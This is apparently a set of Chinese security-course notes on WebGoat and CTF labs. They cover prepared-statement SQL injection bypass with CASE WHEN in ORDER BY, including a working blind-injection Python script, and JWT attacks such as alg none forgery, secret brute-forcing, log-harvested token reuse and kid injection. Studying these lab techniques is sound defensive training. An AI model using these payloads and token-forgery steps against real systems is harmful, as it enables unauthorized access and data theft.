JAVA安全“小迪安全课堂笔记”JWT 安全及预编译 CASE 注入等

前言

通过前期的 WEB 漏洞的学习,掌握了大部分的安全漏洞的原理及利用,但在各种脚本语言开发环境的差异下,会存在新的安全问题,其中脚本语言类型 PHP,Java,Python 等主流开发框架会有所差异。
在这里插入图片描述

综合常规漏洞

SQL Injection(mitigation)

防御 sql 注入,其实就是 session,参数绑定,存储过程这样的注入。
利用 session 防御,session 内容正常情况下是用户无法修改的 select * from users where user = “'” +session.getAttribute(“UserID”) + “'”;
参数绑定方式,利用了 sql 的预编译技术
JDBC编程之预编译SQL与防注入

String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

上面说的方式也不是能够绝对的进行 sql 注入防御,只是减轻。
如参数绑定方式可以使用下面方式绕过
通过使用 case when 语句可以将 order by 后的 orderExpression 表达式中添加 select 语句。

Javaweb-SQL注入攻击-预编译机制绕过

#了解预编译机制
https://www.cnblogs.com/klyjb/p/11473857.html https://www.zhihu.com/question/43581628
#参考参数绑定绕过方式casewhen注入

在这里插入图片描述
右键源码,点击IP地址刷新数据包,发现访问地址
在这里插入图片描述
找到sever源码,源码采用预编译,sql语句中存在order by(若语句中没有orderby将无法利用)
在这里插入图片描述

在这里插入图片描述
重复刚才抓包步骤,使用burp
在这里插入图片描述
修改参数信息,报错处sql语句与源码一致

在这里插入图片描述
在这里插入图片描述
围绕报错语句进行注入。根据题目信息和报错出得sql语句,写出以下脚本

import requests
from string import digits 
chars = digits+"."
data1 = "username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"
headers={
'X-Requested-With':'XMLHttpRequest'
}
cookies={
'JSESSIONID':'ZwUabF1a2yNsk7UAWd05XAp0UEPB7CLJCZnZPvUX',
'JSESSIONID.75fbd09e':'7mc1x9iei6ji4xo2a3u4kbz1'
}
i=0
result=""
proxy={"http":"http://127.0.0.1:8888"}
whileTrue:
i+=1
temp=result
forcharinchars:
vul_url = "http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20s ubstr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i,char)
resp=requests.get(vul_url,headers=headers,cookies=cookies,proxies=proxy)
#print(resp.json())
if'webgoat-acc'inresp.json()[0]['hostname']:
result+=char
print(result)
iftemp==result:
break

代码执行结果。
在这里插入图片描述

JWT安全

在这里插入图片描述

什么是JWT?

JSON Web Token(JSONWeb令牌)是一种跨域验证身份的方案。JWT不加密传输的数据,但能够通过数字签名来验证数据未被篡改(但是做完下面的WebGoat练习后我对这一点表示怀疑)。

JWT分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。
在这里插入图片描述

头部(Header{
"alg":"HS256",
"typ":"JWT"
}
alg是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256 表示HMACSHA256。typ说明这个token的类型为JWT。
//声明(Claims)
{
"exp":1416471934,
"user_name":"user",
"scope":[
"read",
"write"
],
"authorities":[
"ROLE_ADMIN",
"ROLE_USER"
],
"jti":"9bc92a44-0b1a-4c5e-be70-da52075b9a84","client_id":"my-client-with-secret"
}
JWT固定参数有:
iss:发行人
exp:到期时间
sub:主题
aud:用户
nbf:在此之前不可用
iat:发布时间
jti:JWTID用于标识该JWT*/

签名(Signature)
服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。
下面是一个用HS256生成JWT的代码例子
HMACSHA256(base64UrlEncode(header)+"."+base64UrlEncode(payload),secret)

过程

在这里插入图片描述

1、用户端登录,用户名和密码在请求中被发往服务器
2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行加密,生成该用户的JWT。此时,服务器并没有保存登录状态信息。
3、服务器将JWT(通过响应)返回给客户端
4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中
5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态
6、服务器返回响应

Javaweb-身份验证攻击-JWT修改伪造攻击

#了解JWT传输过程,验证机制
#了解JWT结构,加解密过程及注意事项
注意:
问题来了,因为JWT的声明内容变了,因此签名需要重新生成,生成签名又需要密码,我们没有密码呀?不要慌,我们直接去掉签名就好~修改头部为None
在HTTP传输过程中,Base64编码中的"=“,”+“,”/"等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64URL编码

在这里插入图片描述
更换账号tom,抓包
在这里插入图片描述
点击重置删除,出现jwt
在这里插入图片描述
jwt解密,签名需要密钥才能解密在这里插入图片描述
管理员信息修改为true
在这里插入图片描述
修改数据包中jwt,发包,报错。原因:签名没有修改。
在这里插入图片描述
因为没有密钥,只能采用另一种方式,修改header,没有加密相当于绕过了签名。
在这里插入图片描述
在这里插入图片描述

最终生成jwt,因为header设为none,所以签名为空
在这里插入图片描述
这里需要采用base64 URL,所以将“=”删除
在这里插入图片描述
将jwt身份验证复制到burp,成功在这里插入图片描述

Javaweb-身份验证攻击-JWT密钥爆破攻击

爆破前提:好的字典,一个完整的JWT

了解JWT结构,签名算法加解密等
或用fuzz等字典库文件调用,脚本开发
bingo! found key --> victory <–

在这里插入图片描述
首先将给出的JWT解密
在这里插入图片描述
代码工具爆破,top1000.txt为字典
在这里插入图片描述
爆破结果
在这里插入图片描述
生成JWT ,切记时间戳exp也要修改。iat是生效时间,exp是失效时间。
在这里插入图片描述

Javaweb-身份验证攻击-JWT修改伪造冒充

#题目涉及:购物以其他用户购买,日志分析某用户的jwt数据,进行修改伪造提交

在这里插入图片描述
点击,抓包,jwt为空
在这里插入图片描述
打开日志,其中有jwt格式数据
在这里插入图片描述
在这里插入图片描述

解密JWT
在这里插入图片描述
header修改为none,exp失效时间更改。base64URL更改。
在这里插入图片描述
成功
在这里插入图片描述

Javaweb-身份验证攻击-JWT安全结合SQL注入

#参考:https://www.freebuf.com/vuls/216457.html

在这里插入图片描述
点击删除抓包
在这里插入图片描述

在这里插入图片描述
解密
在这里插入图片描述
源码
在这里插入图片描述
在这里插入图片描述
也就是说更改kid就可实现sql注入,此题点到为止。

CTF-Node.js-前端jwt登录安全-伪造admin实现getflag

#解题思路:
注册用户登录-分析/controllers/api.js-用户admin可获取flag
抓取登录数据包,进行反解密修改再加密,伪造登录获取flag

在这里插入图片描述
在这里插入图片描述
注册用户
在这里插入图片描述

登录抓包
在这里插入图片描述

在这里插入图片描述
解密
在这里插入图片描述
登录后页面
在这里插入图片描述
在这里插入图片描述

访问配置文件代码,源码如下

在这里插入图片描述
重新登录抓包

在这里插入图片描述

伪造jwt
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
获取到flag
在这里插入图片描述

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值